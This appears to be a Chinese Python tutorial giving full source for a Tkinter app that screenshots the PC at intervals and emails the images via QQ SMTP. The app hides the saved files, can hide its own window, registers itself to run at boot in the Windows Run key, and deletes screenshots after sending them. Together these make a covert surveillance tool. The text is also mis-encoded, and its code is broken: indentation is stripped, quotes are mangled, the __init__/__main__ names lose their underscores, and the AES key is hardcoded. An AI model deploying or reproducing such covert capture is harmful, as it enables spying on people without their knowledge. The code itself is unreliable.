Python實(shí)現(xiàn)PC屏幕截圖并自動(dòng)發(fā)送郵箱
1.簡介
代碼實(shí)現(xiàn)了一個(gè)屏幕截圖應(yīng)用程序,可以定時(shí)截取屏幕,并將截圖通過電子郵件發(fā)送給指定的收件人。以下是代碼的主要功能:
- 通過使用pyautogui庫來進(jìn)行屏幕截圖。
- 使用smtplib庫來發(fā)送電子郵件,以將截圖發(fā)送給收件人。
- 使用tkinter庫創(chuàng)建一個(gè)簡單的圖形用戶界面(GUI),用于配置應(yīng)用程序的設(shè)置。
- 通過使用logging庫來記錄日志,將日志保存到文件中。
- 實(shí)現(xiàn)了開機(jī)自動(dòng)啟動(dòng)功能,可以將應(yīng)用程序設(shè)置為開機(jī)自動(dòng)啟動(dòng)。
- 實(shí)現(xiàn)了隱藏和顯示應(yīng)用程序窗口的功能。
- 通過使用logging庫來記錄日志,將日志保存到文件中。
- 收件郵箱默認(rèn)等于發(fā)件郵箱
- 通過使用logging庫來記錄日志,將日志保存到文件中。
- 使用configparser庫來讀取和保存應(yīng)用程序的配置設(shè)置。
- 實(shí)現(xiàn)了開機(jī)自動(dòng)啟動(dòng)功能,可以將應(yīng)用程序設(shè)置為開機(jī)自動(dòng)啟動(dòng)。
- 實(shí)現(xiàn)了隱藏和顯示應(yīng)用程序窗口的功能。
- 收件郵箱默認(rèn)等于發(fā)件郵箱
此外,代碼還實(shí)現(xiàn)了一些其他功能,如數(shù)據(jù)加密和解密、刪除已發(fā)送的截圖文件等。
應(yīng)用程序在為用戶提供一個(gè)便捷的方式來定時(shí)截圖并將截圖發(fā)送給指定的收件人,適用于需要定期截圖的監(jiān)控、遠(yuǎn)程監(jiān)視等場景。用戶可以通過圖形界面設(shè)置截圖的間隔時(shí)間、截圖的次數(shù)、發(fā)件人和收件人的電子郵件地址等。
2.運(yùn)行效果

3.相關(guān)源碼
import smtplib
import time
import pyautogui
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import logging
import configparser
import os
import sys
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
import tkinter as tk
from tkinter import ttk
import datetime
import threading
import winreg
import glob
KEY = b'MySuperSecretKey'
def encrypt_data(data):
cipher = AES.new(KEY, AES.MODE_CBC)
ct_bytes = cipher.encrypt(pad(data.encode(‘utf-8'), AES.block_size))
iv = base64.b64encode(cipher.iv).decode(‘utf-8')
ct = base64.b64encode(ct_bytes).decode(‘utf-8')
return iv + ct
def decrypt_data(data):
try:
iv = base64.b64decode(data[:24])
ct = base64.b64decode(data[24:])
cipher = AES.new(KEY, AES.MODE_CBC, iv=iv)
pt = unpad(cipher.decrypt(ct), AES.block_size)
return pt.decode(‘utf-8')
except:
return “Decryption Error!”
class ScreenshotApp:
def init(self):
self.root = tk.Tk()
self.root.title(“Screen”)
self.config = configparser.ConfigParser()
self.config_file = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini")
if not os.path.exists(self.config_file):
self.create_default_config()
self.config.read(self.config_file) # 讀取配置文件
self.sender_email_label = ttk.Label(self.root, text="發(fā)件郵箱:")
self.sender_email_label.grid(row=0, column=0, padx=5, pady=5)
self.sender_email_entry = ttk.Entry(self.root)
self.sender_email_entry.grid(row=0, column=1, padx=5, pady=5)
self.sender_password_label = ttk.Label(self.root, text="發(fā)件郵箱密碼:")
self.sender_password_label.grid(row=1, column=0, padx=5, pady=5)
self.sender_password_entry = ttk.Entry(self.root, show="*")
self.sender_password_entry.grid(row=1, column=1, padx=5, pady=5)
self.interval_label = ttk.Label(self.root, text="截圖間隔時(shí)間:")
self.interval_label.grid(row=2, column=0, padx=5, pady=5)
self.interval_entry = ttk.Entry(self.root)
self.interval_entry.grid(row=2, column=1, padx=5, pady=5)
self.count_label = ttk.Label(self.root, text="發(fā)送截圖數(shù)量:")
self.count_label.grid(row=3, column=0, padx=5, pady=5)
self.count_entry = ttk.Entry(self.root)
self.count_entry.grid(row=3, column=1, padx=5, pady=5)
self.start_button = ttk.Button(self.root, text="開始截圖", command=self.start_screenshot)
self.start_button.grid(row=4, column=0, padx=5, pady=5)
self.stop_button = ttk.Button(self.root, text="停止截圖", command=self.stop_screenshot)
self.stop_button.grid(row=4, column=1, padx=5, pady=5)
self.stop_button.configure(state="disabled")
self.save_button = ttk.Button(self.root, text="save", command=self.save_settings)
self.save_button.grid(row=5, column=0, padx=5, pady=5)
self.autostart_var = tk.BooleanVar()
self.autostart_checkbutton = ttk.Checkbutton(self.root, text="開機(jī)自動(dòng)啟動(dòng)", variable=self.autostart_var, command=self.save_settings)
self.autostart_checkbutton.grid(row=6, column=0, columnspan=2, padx=5, pady=5)
self.toggle_visibility_button = ttk.Button(self.root, text="顯示/隱藏", command=self.toggle_visibility)
self.toggle_visibility_button.grid(row=7, column=0, columnspan=2, padx=5, pady=5)
# 創(chuàng)建日志記錄器
self.log_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "screenshot.log")
self.logger = logging.getLogger("ScreenshotApp")
self.logger.setLevel(logging.INFO)
self.logger.addHandler(logging.FileHandler(self.log_file_path))
self.screenshot_running = False
self.screenshot_thread = None
self.stop_event = threading.Event()
# 初始化輸入框的值
self.sender_email_entry.insert(0, self.config.get("Settings", "sender_email", fallback=""))
self.sender_password_entry.insert(0, self.get_decrypted_password())
self.interval_entry.insert(0, self.config.get("Settings", "interval", fallback=""))
self.count_entry.insert(0, self.config.get("Settings", "count", fallback=""))
# 初始化開機(jī)自動(dòng)啟動(dòng)選項(xiàng)
self.autostart_var.set(self.is_autostart_enabled())
self.root.protocol("WM_DELETE_WINDOW", self.on_close)
self.root.bind("<F12>", self.toggle_visibility)
# 初始化窗口可見性
visibility = self.config.get("Settings", "visibility", fallback="visible")
if visibility == "hidden":
self.root.withdraw()
if self.autostart_var.get():
self.start_screenshot()
self.root.mainloop()
def on_close(self):
self.stop_screenshot()
self.save_settings()
self.delete_screenshots()
self.root.quit()
def create_default_config(self):
if not os.path.exists(self.config_file):
self.config["Settings"] = {
"sender_email": "",
"sender_password": "",
"interval": "",
"count": "",
"autostart": "False",
"visibility": "visible"
}
config_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini")
with open(config_file_path, "w") as configfile:
self.config.write(configfile)
def start_screenshot(self):
interval_text = self.interval_entry.get()
count_text = self.count_entry.get()
if not interval_text or not count_text:
self.logger.error("請?zhí)峁㏒creen間隔時(shí)間和Screen次數(shù)")
return
try:
interval = int(interval_text)
count = int(count_text)
except ValueError:
self.logger.error("Screen間隔時(shí)間和Screen次數(shù)必須是有效的整數(shù)")
return
if not self.screenshot_running:
sender_email = self.sender_email_entry.get()
sender_password = self.sender_password_entry.get()
interval = int(self.interval_entry.get())
count = int(self.count_entry.get())
receiver_email = sender_email # 收件郵箱地址默認(rèn)等于發(fā)件郵箱地址
self.logger.info("開始Screen")
self.start_button.configure(state="disabled")
self.stop_button.configure(state="normal")
self.screenshot_running = True
self.stop_event.clear()
self.screenshot_thread = threading.Thread(target=self.screenshot_loop, args=(receiver_email, sender_email, sender_password, interval, count))
self.screenshot_thread.start()
def stop_screenshot(self):
if self.screenshot_running:
self.screenshot_running = False
self.stop_event.set()
self.screenshot_thread.join()
self.logger.info("停止Screen")
self.start_button.configure(state="normal")
self.stop_button.configure(state="disabled")
def screenshot_loop(self, receiver_email, sender_email, sender_password, interval, count):
screenshot_count = 0
screenshots = []
# 獲取用戶主目錄,并創(chuàng)建'Screenshots'文件夾
user_dir = os.path.expanduser('~')
screenshot_dir = os.path.join(user_dir, 'Screenshots')
os.makedirs(screenshot_dir, exist_ok=True)
# 在開始Screen前清空'Screenshots'文件夾
self.delete_screenshots()
while screenshot_count < count and not self.stop_event.is_set():
try:
# Screen
screenshot = pyautogui.screenshot()
# 生成文件名,格式為“Screen時(shí)間.png”
current_time = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
filename = f"Screen_{current_time}.png"
# 保存Screen到'Screenshots'文件夾中
screenshot_path = os.path.join(screenshot_dir, filename)
screenshot.save(screenshot_path)
screenshots.append(screenshot_path)
screenshot_count += 1
#設(shè)置文件為隱藏
FILE_ATTRIBUTE_HIDDEN = 0x02
ctypes.windll.kernel32.SetFileAttributesW(screenshot_path, FILE_ATTRIBUTE_HIDDEN)
self.logger.info(f"Screen成功: {screenshot_path}")
if screenshot_count == count: # 達(dá)到指定Screen次數(shù)后發(fā)送Screen
screenshot_count = 0
self.send_email(receiver_email, sender_email, sender_password, screenshots)
self.logger.info(f"Screen發(fā)送成功,共發(fā)送了 {len(screenshots)} 張Screen")
self.delete_screenshots(screenshots)
screenshots = [] # 清空已發(fā)送的Screen列表
except Exception as e:
self.logger.error(f"Screen失敗: {str(e)}")
time.sleep(interval)
def send_email(self, receiver_email, sender_email, sender_password, filenames):
msg = MIMEMultipart()
msg["From"] = sender_email
msg["To"] = receiver_email
msg["Subject"] = "Screen"
# 添加郵件正文
msg.attach(MIMEText("請查看附件中的Screen。", "plain"))
# 添加Screen作為附件
for filename in filenames:
with open(filename, "rb") as f:
image = MIMEImage(f.read())
image.add_header('Content-Disposition', 'attachment', filename=os.path.basename(filename))
msg.attach(image)
try:
# 發(fā)送郵件
with smtplib.SMTP_SSL("smtp.qq.com", 465) as smtp:
smtp.login(sender_email, sender_password)
smtp.send_message(msg)
self.logger.info(f"郵件發(fā)送成功,收件人: {receiver_email}")
except Exception as e:
self.logger.error(f"郵件發(fā)送失敗: {str(e)}")
def save_settings(self):
self.config.set("Settings", "sender_email", self.sender_email_entry.get())
self.config.set("Settings", "interval", self.interval_entry.get())
self.config.set("Settings", "count", self.count_entry.get())
self.config.set("Settings", "autostart", str(self.autostart_var.get()))
visibility = "visible" if self.root.state() == "normal" else "hidden"
self.config.set("Settings", "visibility", visibility)
if self.sender_password_entry.get() != self.get_decrypted_password():
encrypted_password = encrypt_data(self.sender_password_entry.get())
self.config.set("Settings", "sender_password", encrypted_password)
config_file_path = os.path.abspath(self.config_file)
with open(config_file_path, "w") as configfile:
self.config.write(configfile)
self.logger.handlers.clear()
self.logger.addHandler(logging.FileHandler(self.log_file_path))
self.set_autostart(self.autostart_var.get())
def delete_screenshots(self, filenames=None):
# 獲取'Screenshots'文件夾路徑
user_dir = os.path.expanduser('~')
screenshot_dir = os.path.join(user_dir, 'Screenshots')
if filenames is None:
filenames = glob.glob(os.path.join(screenshot_dir, "Screen*.png"))
for filename in filenames:
try:
os.remove(filename)
self.logger.info(f"刪除Screen: {filename}")
except Exception as e:
self.logger.error(f"刪除Screen失敗: {str(e)}")
def get_decrypted_password(self):
encrypted_password = self.config.get("Settings", "sender_password", fallback="")
if encrypted_password:
return decrypt_data(encrypted_password)
else:
return ""
def toggle_visibility(self, event=None):
if self.root.state() == "withdrawn":
self.root.deiconify()
else:
self.root.withdraw()
self.save_settings()
def set_autostart(self, enabled):
key = winreg.HKEY_CURRENT_USER
run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
app_name = "Screen"
app_path = sys.executable # 獲取當(dāng)前腳本的絕對路徑
try:
with winreg.OpenKey(key, run_key, 0, winreg.KEY_SET_VALUE) as reg_key:
if enabled:
winreg.SetValueEx(reg_key, app_name, 0, winreg.REG_SZ, app_path)
self.logger.info("已設(shè)置開機(jī)自動(dòng)啟動(dòng)")
else:
winreg.DeleteValue(reg_key, app_name)
self.logger.info("已取消開機(jī)自動(dòng)啟動(dòng)")
except FileNotFoundError as e:
self.logger.error(f"找不到注冊表路徑: {str(e)}")
except PermissionError as e:
self.logger.error(f"沒有足夠的權(quán)限訪問注冊表: {str(e)}")
except Exception as e:
self.logger.error(f"設(shè)置開機(jī)自動(dòng)啟動(dòng)失敗: {str(e)}")
def is_autostart_enabled(self):
key = winreg.HKEY_CURRENT_USER
run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
app_name = "Screen"
app_path = sys.executable # 獲取當(dāng)前腳本的絕對路徑
try:
with winreg.OpenKey(key, run_key, 0, winreg.KEY_READ) as reg_key:
try:
value, value_type = winreg.QueryValueEx(reg_key, app_name)
return value == app_path
except FileNotFoundError:
return False
except FileNotFoundError as e:
self.logger.error(f"找不到注冊表路徑: {str(e)}")
except PermissionError as e:
self.logger.error(f"沒有足夠的權(quán)限訪問注冊表: {str(e)}")
except Exception as e:
self.logger.error(f"讀取開機(jī)自動(dòng)啟動(dòng)設(shè)置失敗: {str(e)}")
return False
if name == “main”:
app = ScreenshotApp()以上就是Python實(shí)現(xiàn)PC屏幕截圖并自動(dòng)發(fā)送郵箱的詳細(xì)內(nèi)容,更多關(guān)于Python屏幕截圖的資料請關(guān)注腳本之家其它相關(guān)文章!
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